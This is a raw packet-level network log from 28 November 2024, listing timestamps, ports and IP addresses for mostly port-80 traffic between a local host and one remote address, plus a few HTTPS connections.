Nov 28, 2024 15:17:41.378927946 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378928900 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.378941059 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.378956079 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.378989935 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379003048 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379019976 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379028082 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379035950 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379049063 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379060030 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379077911 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379100084 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379101038 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379116058 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379147053 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379158020 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379158020 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379182100 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379182100 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379196882 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379204988 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379225016 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379245043 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379259109 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379276991 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379285097 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379292011 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379338026 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379338026 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379339933 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379354000 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379365921 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379379988 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379384041 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379409075 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379422903 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379425049 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379435062 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379439116 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379451990 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379467964 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379470110 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379482985 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379508018 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379528999 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379539967 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379549026 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379570007 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379581928 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379585981 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379611969 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379631042 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379643917 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379643917 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379678011 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379678011 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379690886 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379720926 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379724026 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379740000 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379751921 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379755020 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379784107 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379796982 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379812956 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379822016 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379831076 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379834890 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379863024 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379868031 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379880905 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379906893 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379924059 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.379930973 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379944086 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379975080 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379986048 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.379986048 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.380011082 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.380033970 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380037069 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.380048037 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380079031 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380089998 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380091906 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.380120039 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380130053 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.380132914 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380163908 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380171061 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.380178928 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380203009 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.380208015 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380222082 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.380223036 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380259037 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.380275011 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380287886 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380317926 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.380319118 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380332947 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380350113 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.380366087 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380371094 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.380383015 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380407095 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.380419970 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380431890 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.380433083 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380464077 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.380465031 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380474091 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.380479097 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380511999 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380516052 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.380527973 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380552053 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380564928 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380573034 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.380609035 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.380616903 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380630970 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380661964 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380673885 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380685091 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.380702972 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380707026 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.380717993 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380748987 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380760908 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380780935 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.380780935 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.380799055 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380810976 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.380810976 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.380830050 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.380850077 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.381026983 CET	49852	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:41.381057024 CET	443	49852	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:41.381129980 CET	49852	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:41.381530046 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:41.381575108 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:41.381664991 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:41.381973982 CET	49852	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:41.381988049 CET	443	49852	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:41.382791996 CET	49854	443	192.168.2.6	152.195.19.97
Nov 28, 2024 15:17:41.382812977 CET	443	49854	152.195.19.97	192.168.2.6
Nov 28, 2024 15:17:41.382889986 CET	49854	443	192.168.2.6	152.195.19.97
Nov 28, 2024 15:17:41.382940054 CET	443	49849	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:41.383104086 CET	49853	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:41.383131981 CET	443	49853	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:41.383265972 CET	49854	443	192.168.2.6	152.195.19.97
Nov 28, 2024 15:17:41.383280039 CET	443	49854	152.195.19.97	192.168.2.6
Nov 28, 2024 15:17:41.383392096 CET	49849	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:41.383402109 CET	443	49849	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:41.384423971 CET	443	49849	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:41.384490967 CET	49849	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:41.385200024 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:41.385267973 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:41.385284901 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:41.386167049 CET	49849	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:41.386251926 CET	443	49849	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:41.422476053 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:41.422529936 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:41.423158884 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:41.423171043 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:41.423569918 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:41.423580885 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:41.424947023 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:41.424957991 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:41.425101995 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:41.425111055 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:41.434247971 CET	443	49848	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:41.434861898 CET	49848	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:41.434875965 CET	443	49848	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:41.435256004 CET	443	49848	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:41.436006069 CET	49848	443	192.168.2.6	162.159.61.3
Nov 28, 2024 15:17:41.436101913 CET	443	49848	162.159.61.3	192.168.2.6
Nov 28, 2024 15:17:41.460743904 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.460813999 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.460875034 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.461124897 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.461170912 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.461399078 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.461457968 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.461487055 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.461572886 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.462466002 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.462513924 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.462569952 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.462609053 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.463537931 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.463609934 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.463639975 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.463742971 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.464620113 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.464751959 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.464782953 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.464827061 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.465765953 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.465814114 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.465907097 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.465953112 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.466907978 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.466922998 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.466972113 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.467010021 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.467902899 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.467946053 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.467957020 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.467997074 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.468960047 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.469021082 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.469028950 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.469089031 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.470082045 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.470132113 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.470164061 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.470360994 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.471117973 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.471165895 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.471199036 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.471415997 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.472256899 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.472280025 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.472305059 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.472345114 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.473295927 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.473350048 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.473438978 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.473485947 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.474349022 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.474406958 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.474477053 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.474524021 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.475502968 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.475550890 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.475557089 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.475596905 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.476572990 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.476636887 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.476656914 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.476692915 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.477633953 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.477693081 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.477745056 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.477886915 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.478712082 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.478760004 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.478812933 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.478868961 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.479789019 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.479845047 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.479880095 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.479983091 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.480896950 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.480946064 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.481163025 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.481245995 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.482023001 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.482131004 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.482151031 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.482192039 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.483056068 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.483113050 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.483290911 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.483339071 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.484260082 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.484304905 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.484327078 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.484365940 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.485260963 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.485387087 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.485388994 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.485629082 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.486373901 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.486469030 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.486550093 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.486625910 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.487399101 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.487473965 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.487539053 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.487582922 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.488466024 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.488523006 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.488574028 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.488622904 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.489583969 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.489640951 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.489675999 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.489717960 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.490647078 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.490695000 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.490797997 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.490914106 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.491741896 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.491862059 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.491864920 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.491977930 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.493094921 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.493107080 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.493149996 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.493161917 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.493963003 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.494009972 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.494049072 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.494090080 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.495044947 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.495090961 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.495151997 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.496417046 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.496429920 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.496479034 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.497176886 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.497235060 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.497240067 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.497292042 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.498275042 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.498287916 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.498344898 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.498385906 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.499418974 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.499485016 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.499512911 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.499553919 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.500422001 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.500472069 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.500685930 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.500794888 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.501905918 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.501918077 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.501967907 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.502897024 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.502955914 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.502962112 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.502998114 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:41.503854990 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.503871918 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:41.503912926 CET	49804	80	192.168.2.6	185.215.113.206
